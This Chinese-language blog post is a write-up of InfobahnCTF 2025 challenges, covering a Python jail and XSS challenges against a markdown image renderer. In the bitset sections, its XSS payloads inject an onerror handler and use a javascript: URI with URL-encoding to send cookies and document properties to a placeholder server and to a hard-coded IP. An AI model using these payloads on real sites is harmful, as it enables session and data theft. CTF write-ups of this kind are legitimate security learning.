infobahnctf2025-wp

前言

又是忙碌的一周,考完试找了个国外的比赛打打,主要是学了下xss

pyjail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import io
import contextlib
with open("flag.txt", 'rb') as f:
FLAG = f.read()
def run(code):
buf = io.StringIO()
try:
with contextlib.redirect_stdout(buf):
exec(code, {})
except Exception:
return None
return buf.getvalue() or None
code = input("Enter your solution: ")
if len(code) > 15:
print("Code too long")
exit()
if not set(code) <= set("abcdefghijklmnopqrstuvwxyz "):
print("Invalid characters")
exit()
result = run(code)
if result is None:
print("Error")
exit()
if len(result) > 500:
print(FLAG)
else:
print("Output too short")

要求输入的代码长度小于15,并且只包含小写字母和空格,同时输出的内容长度要大于500

这里直接使用‘python之禅’

1
import this

image-20251109235059073

bitset

功能:和常见的xss差不多,访问/bot?url=xxx,bot就会访问

1
http://127.0.0.1:6969/?url=xxx

6969端口的服务(关键代码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$IMG = 'https://i.imgur.com/nh16rl8.png';
$url = $_GET['url'] ?? $IMG;

if ($url !== '' && !preg_match('/^https?:\/\/.+/i', $url)) {
http_response_code(400);
header('Content-Type: text/plain; charset=utf-8');
echo 'url must start with http(s)://';
exit;
}
function render_img_markdown(string $s): string {
return preg_replace(
'/!\[ \]\(([^)\r\n]*)\)/',
"<img src='$1' loading='lazy'>",
htmlspecialchars('![ ](' . $s . ')', ENT_HTML5, 'UTF-8')
);
}
?>
...
<h2>Preview</h2>
<div><?= render_img_markdown($url) ?></div>

很明显xss的注入点就在url

因为是插到img标签的src属性里,我们可以利用属性注入,插入一个onerror属性来执行恶意js

尝试插入 http://a‘ onerror=alert(1),失败了

image-20251110000119858

分析发现是因为render_img_markdown函数在正则匹配的时候匹配到右括号就结束,所以payload里不能出现右括号

不能用右括号的话可以使用反引号来代替

1
http://x' onerror='alert`1`'

image-20251110000616134

接下来想办法读cookie传到服务器就行了

这里做法很多,给出一种payload

1
http://x' onerror='this.src=`http://you-vps/?f=`+document.cookie'

bitsets

这次要拿到flag2

1
2
3
4
5
6
7
8
9
10
11
12
13
let flag23;
if (q.length <= 55) {
flag23 = process.env.FLAG3 || "infobahn{fake_flag3}";
} else if (q.length <= 111) {
flag23 = process.env.FLAG2 || "infobahn{fake_flag2}";
}
if (flag23) {
await p.evaluateOnNewDocument(flag => {
if (location.hostname == "127.0.0.1") {
document["flag" + Math.random().toString(36).slice(2)] = flag;
}
}, flag23);
}

flag放在了一个属性里面,属性的名字是随机的,并且要求payload的长度小于111

首先先不考虑长度,要获取到这个随机的属性的内容,肯定先考虑遍历

用for循环遍历所有属性,找到属性名是flag开头的,然后使用document[i]读出来传到服务器,但是考虑长度的话,我选的是遍历所有属性把他们都传到服务器,就一定能找到flag,并且长度也没问题

1
for(i in document)open('http://106.14.70.254/'+document[i])

这里遇到一个问题,前面说了,无法使用右括号,于是就来到了最关键的部分——利用js伪协议+url编码

把右括号编码之后就不会被匹配到了,以alert为例

1
http://x' onerror="location='javascript:alert%281%29'"

把后面这一串赋值给window.location的时候,浏览器这个字符串当作url来解析,发现是js伪协议,会对后面的部分进行url解码,于是就能成功执行alert(1)

但是考虑到url编码会让长度变长,所以我们编码尽可能少的字符

1
http://x' onerror="location='javascript:for(i in document%29open(%27http://106.14.70.254/%27+document[i]%29'"

这个payload长度再109,勉强满足111的要求

bitset revenge&bitsets revenge

使用相同的payload可以直接打,相比是非预期了(

speechless

一道有趣的jail,感觉自己的解法也是非预期,有点像数学题了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
allowed = "ab.=-/"
with open("flag.txt", 'rb') as f:
flag = f.read()
a = None
while True:
expr = input(">>> ")
if not all(char in allowed for char in expr):
print('you need to try harder')
continue
if any(f"{blocked}==" in expr or f"=={blocked}" in expr for blocked in "ab"):
print('stop comparing the flag')
continue
try:
a = eval(expr, {"a": a} | {"b" * (index + 1): char for index, char in enumerate(flag)})
print(a)
except:
a = None
print('stop breaking things >:(')

你只能输入ab.=-/,输入b会返回flag的第一位,bb返回第二位,以此类推,并且将每次输入的返回值存到a里面,比如先输入bb,再输入a,就会返回flag的第二位

解法:

​ 以第一位为例,我们先输入b,此时a=flag[0]

​ 如果我能让a逐渐减小,判断减小多少的时候a变成了0,那我就能知道flag[0]的值是多少了

​ 那么要减去谁呢,需要找一个不变值,这里使用b//b得到1

​ 流程:

​ 输入b,此时a=flag[0]

​ 输入a-b//b,此时a=flag[0]-1

​ 利用除数不能为0判断a此时是否等于0,输入b//a,若报错,说明a此时为0,那么第一位的ascii码就是1,如果不 为0,则进入下一步

​ 输入b,再输入a-b//b-b//b,随后以此类推,重复上述步骤,直到报错,就能判断出这一位的值了

不难看出,此方法比较花时间,搓个脚本,爆一位需要上千次,但是思路是没问题的,写脚本的时候可以考虑一些优化的方法来加快爆破速度/减少爆破次数,核心优化思路是减少发包的次数,篇幅的原因脚本这里就不贴了,找ai就能搓

总结

感觉基本都是打的非预期,不过学到一些xss的点,主要就是js伪协议+url编码


infobahnctf2025-wp
http://example.com/2025/11/09/infobahnctf2025-wp/
作者
onehang
发布于
2025年11月9日
许可协议